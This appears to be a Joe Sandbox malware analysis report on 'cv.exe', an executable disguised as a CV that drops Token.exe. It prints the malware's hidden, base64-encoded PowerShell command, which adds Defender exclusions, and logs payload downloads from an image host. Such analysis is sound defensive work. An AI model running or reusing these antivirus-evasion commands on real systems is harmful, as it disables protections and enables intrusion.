Edit tour

Windows Analysis Report
cv.exe

Overview

General Information

Sample name:	cv.exe
Analysis ID:	1574667
MD5:	19fe59da84e322469ed35704ad2cfb87
SHA1:	6d7d800e2c0f455ad7ed39ead3a812562e97c3fc
SHA256:	abf89117cd0e2e9c5606b42f5bbc019ade9646300e7c621ccc7d15f2e3ce03ee
Tags:	exeuser-lontze7
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

.NET source code contains very large array initializations

AI detected suspicious sample

Bypasses PowerShell execution policy

Detected potential unwanted application

Encrypted powershell cmdline option found

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Suspicious powershell command line found

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to launch a process as a different user

Contains long sleeps (>= 3 min)

Creates COM task schedule object (often to register a task for autostart)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Suspicious Execution of Powershell with Base64

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

cv.exe (PID: 7832 cmdline: "C:\Users\user\Desktop\cv.exe" MD5: 19FE59DA84E322469ED35704AD2CFB87)

Acrobat.exe (PID: 4760 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Documents\OUCH_SOKHENG.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6164 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2228 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1636,i,5757561869882323964,3520137961289950792,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cv.exe (PID: 6092 cmdline: "C:\Users\user\Desktop\cv.exe" MD5: 19FE59DA84E322469ED35704AD2CFB87)

powershell.exe (PID: 6032 cmdline: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGIAcgBvAGsAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsACwAQwA6AFwAVQBzAGUAcgBzAFwAYgByAG8AawBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABUAG8AawBlAG4ALgBlAHgAZQA7AA== MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 5644 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

Token.exe (PID: 7940 cmdline: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe MD5: 19FE59DA84E322469ED35704AD2CFB87)

Acrobat.exe (PID: 4480 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Documents\OUCH_SOKHENG.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

Token.exe (PID: 6192 cmdline: "C:\Users\user\AppData\Local\AllData\egsflr\Token.exe" MD5: 19FE59DA84E322469ED35704AD2CFB87)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2072016816.0000000004032000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000005.00000002.2058907435.0000000002E91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000005.00000002.2089144567.0000000005600000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: cv.exe PID: 7832	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: cv.exe PID: 6092	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Token.exe PID: 7940	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.cv.exe.40b6a40.2.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
5.2.cv.exe.5600000.13.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGIAcgBvAGsAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsACwAQwA6AFwAVQBzAGUAcgBzAFwAYgByAG8AawBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABUAG8AawBlAG4ALgBlAHgAZQA7AA==, CommandLine: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGIAcgBvAGsAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsACwAQwA6AFwAVQBzAGUAcgBzAFwAYgByAG8AawBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABUAG8AawBlAG4ALgBlAHgAZQA7AA==, CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1040, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGIAcgBvAGsAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsACwAQwA6AFwAVQBzAGUAcgBzAFwAYgByAG8AawBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABUAG8AawBlAG4ALgBlAHgAZQA7AA==, ProcessId: 6032, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGIAcgBvAGsAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsACwAQwA6AFwAVQBzAGUAcgBzAFwAYgByAG8AawBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABUAG8AawBlAG4ALgBlAHgAZQA7AA==, CommandLine: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGIAcgBvAGsAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsACwAQwA6AFwAVQBzAGUAcgBzAFwAYgByAG8AawBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABUAG8AawBlAG4ALgBlAHgAZQA7AA==, CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1040, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGIAcgBvAGsAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsACwAQwA6AFwAVQBzAGUAcgBzAFwAYgByAG8AawBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABUAG8AawBlAG4ALgBlAHgAZQA7AA==, ProcessId: 6032, ProcessName: powershell.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGIAcgBvAGsAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsACwAQwA6AFwAVQBzAGUAcgBzAFwAYgByAG8AawBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABUAG8AawBlAG4ALgBlAHgAZQA7AA==, CommandLine: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGIAcgBvAGsAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsACwAQwA6AFwAVQBzAGUAcgBzAFwAYgByAG8AawBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABUAG8AawBlAG4ALgBlAHgAZQA7AA==, CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1040, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGIAcgBvAGsAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsACwAQwA6AFwAVQBzAGUAcgBzAFwAYgByAG8AawBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABUAG8AawBlAG4ALgBlAHgAZQA7AA==, ProcessId: 6032, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: cv.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe

Avira: detection malicious, Label: HEUR/AGEN.1304624

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe

ReversingLabs: Detection: 21%

Multi AV Scanner detection for submitted file

Source: cv.exe

ReversingLabs: Detection: 21%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.1% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: cv.exe

Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 91.134.10.168:443 -> 192.168.2.10:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.134.10.168:443 -> 192.168.2.10:49732 version: TLS 1.2

Source: cv.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Pzclh.pdb source: cv.exe, 00000005.00000002.2072016816.000000000430E000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2086802465.00000000054D0000.00000004.08000000.00040000.00000000.sdmp, cv.exe, 00000005.00000002.2072016816.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: cv.exe, 00000005.00000002.2072016816.0000000004445000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2072016816.0000000004503000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2094550828.0000000005BD0000.00000004.08000000.00040000.00000000.sdmp, cv.exe, 00000005.00000002.2058907435.0000000003127000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: cv.exe, 00000005.00000002.2072016816.0000000004445000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2072016816.0000000004503000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2094550828.0000000005BD0000.00000004.08000000.00040000.00000000.sdmp, cv.exe, 00000005.00000002.2058907435.0000000003127000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: cv.exe, 00000005.00000002.2072016816.0000000004445000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2089979659.0000000005660000.00000004.08000000.00040000.00000000.sdmp, cv.exe, 00000005.00000002.2072016816.000000000430E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: cv.exe, 00000005.00000002.2072016816.0000000004445000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2089979659.0000000005660000.00000004.08000000.00040000.00000000.sdmp, cv.exe, 00000005.00000002.2072016816.000000000430E000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior

Source: global traffic	HTTP traffic detected: GET /4VpfCKs/pilotxprograms-Final.jpg HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /4VpfCKs/pilotxprograms-Final.jpg HTTP/1.1Host: i.ibb.coConnection: Keep-Alive

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /4VpfCKs/pilotxprograms-Final.jpg HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /4VpfCKs/pilotxprograms-Final.jpg HTTP/1.1Host: i.ibb.coConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: i.ibb.co
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org

Source: cv.exe, Token.exe.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: cv.exe, Token.exe.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: cv.exe, Token.exe.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: cv.exe, Token.exe.5.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: cv.exe, Token.exe.5.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 0000000E.00000002.2230274239.00000170BE2D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: cv.exe, Token.exe.5.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: cv.exe, Token.exe.5.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: cv.exe, Token.exe.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: cv.exe, Token.exe.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: cv.exe, Token.exe.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: cv.exe, Token.exe.5.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: cv.exe, Token.exe.5.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: 77EC63BDA74BD0D0E0426DC8F80085060.6.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: cv.exe, 00000000.00000002.2079533617.0000000008680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.microsofo/1.2/
Source: powershell.exe, 0000000E.00000002.2204124523.00000170B5CEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: cv.exe, Token.exe.5.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: cv.exe, Token.exe.5.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: cv.exe, Token.exe.5.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: cv.exe, Token.exe.5.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Token.exe.5.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 0000000E.00000002.2124750694.00000170A5EA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
